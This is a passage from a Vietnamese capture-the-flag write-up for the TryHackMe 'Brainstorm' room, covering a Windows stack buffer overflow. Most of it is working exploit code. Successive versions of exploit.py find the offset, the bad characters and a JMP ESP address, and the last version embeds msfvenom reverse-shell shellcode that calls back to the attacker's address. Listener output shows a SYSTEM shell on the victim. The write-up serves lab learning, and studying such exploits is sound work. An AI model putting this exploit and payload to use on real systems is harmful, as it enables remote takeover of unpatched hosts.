Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2I"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")
```

Ta tấn công lần nữa!

```shell
┌──(kali㉿kali)-[/home/Tryhackme/Brainstorm]
└─$ python3 exploit.py
Sending evil buffer...
Done!
```

Tại thanh câu lệnh của Immunity Debugger ta sử dụng câu lệnh \`\`\`

```python
!mona findmsp -distance 6700
```

Ta xác định được `EIP` 6108.

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2Fox39s9kLAuLjRB0LuMnG%2FPasted%20image%2020250607014358.png?alt=media&#x26;token=288a4ed3-2860-4ae0-ba3c-38b2c7c39fd7" alt=""><figcaption></figcaption></figure>

Bước 4: Xác định `bad char` và `JMP ESP`

Ta điều chỉnh lại câu lệnh của `exploit.py`:

```python
import socket

ip = "192.168.2.128" #THAY IP NÀY THÀNH IP CỦA MÁY WINDOWS 7 GIẢ LẬP
port = 9999

prefix = ""
offset = 6108
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")
```

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FPGXx3uOLarip2UoPoCrq%2FPasted%20image%2020250607014813.png?alt=media&#x26;token=ec6e606d-1d28-4d00-8ed6-c5dca080fd44" alt=""><figcaption></figcaption></figure>

Ta xác định được `EIP` bị thao túng, `42` (`B` được dịch thành `42` khi ta dịch mã ASCII sang hexadecimal). Vậy là tới thời điềm hiện tại, phần mềm `exploit.py` vẫn khai thác lỗ hổng tràn bộ đệm (Buffer Overflow) thành công.

Ta chạy câu lệnh:

```shell
python3 pyarray.py > array.txt
```

```shell
┌──(kali㉿kali)-[/home/Tryhackme/Brainstorm]
└─$ python3 pyarray.py > array.txt
```

Ta thay đoạn mã array.txt vào phần mềm `exploit.py`

```python
import socket

ip = "192.168.2.128" #THAY IP NÀY THÀNH IP CỦA MÁY WINDOWS 7 GIẢ LẬP
port = 9999

prefix = ""
offset = 6108
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")
```

Sau đó ta chạy câu lệnh trên mona tại Immunity Debugger:

```python
!mona bytearray -b "\x00"
```

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2Fl02XxNU7uEb1yfpQICyq%2FPasted%20image%2020250607015715.png?alt=media&#x26;token=55eca5c3-d07e-4641-bcce-1ec8090161f2" alt=""><figcaption></figcaption></figure>

Giải thích ngắn gọn Bước 4. Bước 4 là để ta tìm các `badchar` - ký tự xấu và tìm điểm nhảy `JMP ESP` điều này quan trọng vì nếu ta không tìm và lọc được các badchar, ký tự xấu, ta sẽ không lọc được ký tự, điều này làm ảnh hưởng đến hiệu quả của `payload`. Và không có `JMP ESP` thì ta sẽ không tìm được điểm khởi chạy của `payload`.

Việc chạy câu lệnh tạo bộ lọc `bytearray` ở trên là để ta tạo một mốc để so sánh các `char` được chấp nhận và `badchar`

Sau khi khởi chạy `exploit.py` một lần nữa ta tìm được `ESP`: `017DEEC0`

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FStTLKxUcspzr74uWXwbG%2FPasted%20image%2020250607020354.png?alt=media&#x26;token=2d8605b1-0be4-447e-822d-83417fe5f0fd" alt=""><figcaption></figcaption></figure>

Ta chạy câu lệnh dưới đây để đối chiếu danh sách các `char` xấu và tốt mà ta đã tạo trước đó

```python
!mona compare -f C:\mona\chatserver\bytearray.bin -a 017DEEC0
```

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FiRsVKn2S1nAaDTJdC8MJ%2FPasted%20image%2020250607020703.png?alt=media&#x26;token=eef41cd6-29df-4bf5-823e-9369991fafba" alt=""><figcaption></figcaption></figure>

May thay, `\x00` là `badchar` duy nhất. Ta có thể chạy câu lệnh này để tạo `payload`.

```shell
┌──(kali㉿kali)-[/home/Tryhackme/Brainstorm]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.17.43.75 LPORT=4444 EXITFUNC=thread -b "\x00" -f c > payload.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1506 bytes
```

Dựa vào câu lệnh này ta tạo được `exploit.py` hoàn chỉnh:

```python
import socket

ip = "192.168.2.128"
port = 9999

prefix = ""
offset = 6108
overflow = "A" * offset
retn = "\xdf\x14\x50\x62"
padding = "\x90" * 16
payload = ("\xd9\xcb\xbf\xcc\x0f\x66\x97\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x52\x83\xea\xfc\x31\x7a\x13\x03\xb6\x1c\x84\x62\xba"
"\xcb\xca\x8d\x42\x0c\xab\x04\xa7\x3d\xeb\x73\xac\x6e\xdb"
"\xf0\xe0\x82\x90\x55\x10\x10\xd4\x71\x17\x91\x53\xa4\x16"
"\x22\xcf\x94\x39\xa0\x12\xc9\x99\x99\xdc\x1c\xd8\xde\x01"
"\xec\x88\xb7\x4e\x43\x3c\xb3\x1b\x58\xb7\x8f\x8a\xd8\x24"
"\x47\xac\xc9\xfb\xd3\xf7\xc9\xfa\x30\x8c\x43\xe4\x55\xa9"
"\x1a\x9f\xae\x45\x9d\x49\xff\xa6\x32\xb4\xcf\x54\x4a\xf1"
"\xe8\x86\x39\x0b\x0b\x3a\x3a\xc8\x71\xe0\xcf\xca\xd2\x63"
"\x77\x36\xe2\xa0\xee\xbd\xe8\x0d\x64\x99\xec\x90\xa9\x92"
"\x09\x18\x4c\x74\x98\x5a\x6b\x50\xc0\x39\x12\xc1\xac\xec"
"\x2b\x11\x0f\x50\x8e\x5a\xa2\x85\xa3\x01\xab\x6a\x8e\xb9"
"\x2b\xe5\x99\xca\x19\xaa\x31\x44\x12\x23\x9c\x93\x55\x1e"
"\x58\x0b\xa8\xa1\x99\x02\x6f\xf5\xc9\x3c\x46\x76\x82\xbc"
"\x67\xa3\x05\xec\xc7\x1c\xe6\x5c\xa8\xcc\x8e\xb6\x27\x32"
"\xae\xb9\xed\x5b\x45\x40\x66\x6e\x8b\x61\x3d\x06\xa9\x75"
"\xd0\x8a\x24\x93\xb8\x22\x61\x0c\x55\xda\x28\xc6\xc4\x23"
"\xe7\xa3\xc7\xa8\x04\x54\x89\x58\x60\x46\x7e\xa9\x3f\x34"
"\x29\xb6\x95\x50\xb5\x25\x72\xa0\xb0\x55\x2d\xf7\x95\xa8"
"\x24\x9d\x0b\x92\x9e\x83\xd1\x42\xd8\x07\x0e\xb7\xe7\x86"
"\xc3\x83\xc3\x98\x1d\x0b\x48\xcc\xf1\x5a\x06\xba\xb7\x34"
"\xe8\x14\x6e\xea\xa2\xf0\xf7\xc0\x74\x86\xf7\x0c\x03\x66"
"\x49\xf9\x52\x99\x66\x6d\x53\xe2\x9a\x0d\x9c\x39\x1f\x2d"
"\x7f\xeb\x6a\xc6\x26\x7e\xd7\x8b\xd8\x55\x14\xb2\x5a\x5f"
"\xe5\x41\x42\x2a\xe0\x0e\xc4\xc7\x98\x1f\xa1\xe7\x0f\x1f"
"\xe0") #Tay thay payload vừa tạo tại đây
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  #s.send(bytes("M"))
  #time.sleep(5)
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")
```

Bước 5: Ta thử nghiệm `exploit.py` lần cuối:

```shell
┌──(kali㉿kali)-[/home/Tryhackme/Brainstorm]
└─$ python3 exploit.py                                                                                             
Sending evil buffer...
Done!
```

THÀNH CÔNG!

```shell
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444                                                                                                              
listening on [any] 4444 ...
connect to [192.168.2.129] from (UNKNOWN) [192.168.2.128] 49162
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\ADMIN\Desktop\Oh look - A vuln .exe>
```

Sau đó ta thay IP nạn nhân thật vào `exploit.py`:

```python
import socket

ip = "10.10.190.92"
port = 9999

prefix = ""
offset = 6108
overflow = "A" * offset
retn = "\xdf\x14\x50\x62"
padding = "\x90" * 16
payload = ("\xd9\xcb\xbf\xcc\x0f\x66\x97\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x52\x83\xea\xfc\x31\x7a\x13\x03\xb6\x1c\x84\x62\xba"
"\xcb\xca\x8d\x42\x0c\xab\x04\xa7\x3d\xeb\x73\xac\x6e\xdb"
"\xf0\xe0\x82\x90\x55\x10\x10\xd4\x71\x17\x91\x53\xa4\x16"
"\x22\xcf\x94\x39\xa0\x12\xc9\x99\x99\xdc\x1c\xd8\xde\x01"
"\xec\x88\xb7\x4e\x43\x3c\xb3\x1b\x58\xb7\x8f\x8a\xd8\x24"
"\x47\xac\xc9\xfb\xd3\xf7\xc9\xfa\x30\x8c\x43\xe4\x55\xa9"
"\x1a\x9f\xae\x45\x9d\x49\xff\xa6\x32\xb4\xcf\x54\x4a\xf1"
"\xe8\x86\x39\x0b\x0b\x3a\x3a\xc8\x71\xe0\xcf\xca\xd2\x63"
"\x77\x36\xe2\xa0\xee\xbd\xe8\x0d\x64\x99\xec\x90\xa9\x92"
"\x09\x18\x4c\x74\x98\x5a\x6b\x50\xc0\x39\x12\xc1\xac\xec"
"\x2b\x11\x0f\x50\x8e\x5a\xa2\x85\xa3\x01\xab\x6a\x8e\xb9"
"\x2b\xe5\x99\xca\x19\xaa\x31\x44\x12\x23\x9c\x93\x55\x1e"
"\x58\x0b\xa8\xa1\x99\x02\x6f\xf5\xc9\x3c\x46\x76\x82\xbc"
"\x67\xa3\x05\xec\xc7\x1c\xe6\x5c\xa8\xcc\x8e\xb6\x27\x32"
"\xae\xb9\xed\x5b\x45\x40\x66\x6e\x8b\x61\x3d\x06\xa9\x75"
"\xd0\x8a\x24\x93\xb8\x22\x61\x0c\x55\xda\x28\xc6\xc4\x23"
"\xe7\xa3\xc7\xa8\x04\x54\x89\x58\x60\x46\x7e\xa9\x3f\x34"
"\x29\xb6\x95\x50\xb5\x25\x72\xa0\xb0\x55\x2d\xf7\x95\xa8"
"\x24\x9d\x0b\x92\x9e\x83\xd1\x42\xd8\x07\x0e\xb7\xe7\x86"
"\xc3\x83\xc3\x98\x1d\x0b\x48\xcc\xf1\x5a\x06\xba\xb7\x34"
"\xe8\x14\x6e\xea\xa2\xf0\xf7\xc0\x74\x86\xf7\x0c\x03\x66"
"\x49\xf9\x52\x99\x66\x6d\x53\xe2\x9a\x0d\x9c\x39\x1f\x2d"
"\x7f\xeb\x6a\xc6\x26\x7e\xd7\x8b\xd8\x55\x14\xb2\x5a\x5f"
"\xe5\x41\x42\x2a\xe0\x0e\xc4\xc7\x98\x1f\xa1\xe7\x0f\x1f"
"\xe0") #Tay thay payload vừa tạo tại đây
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  #s.send(bytes("M"))
  #time.sleep(5)
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")
```

Khởi chạy, ta sẽ truy cập được vào máy nạn nhân dưới quyền quản trị viên tối cao trên máy nạn nhân:

```shell
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.17.43.75] from (UNKNOWN) [10.10.190.92] 49422
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\System32>type C:\Users\drake\Desktop\root.txt
type C:\Users\drake\Desktop\root.txt
#Đã ẩn Flag
C:\Windows\System32>
```

## Hy vọng bài viết này bổ ích. Cảm ơn bạn đã đọc bài viết này.
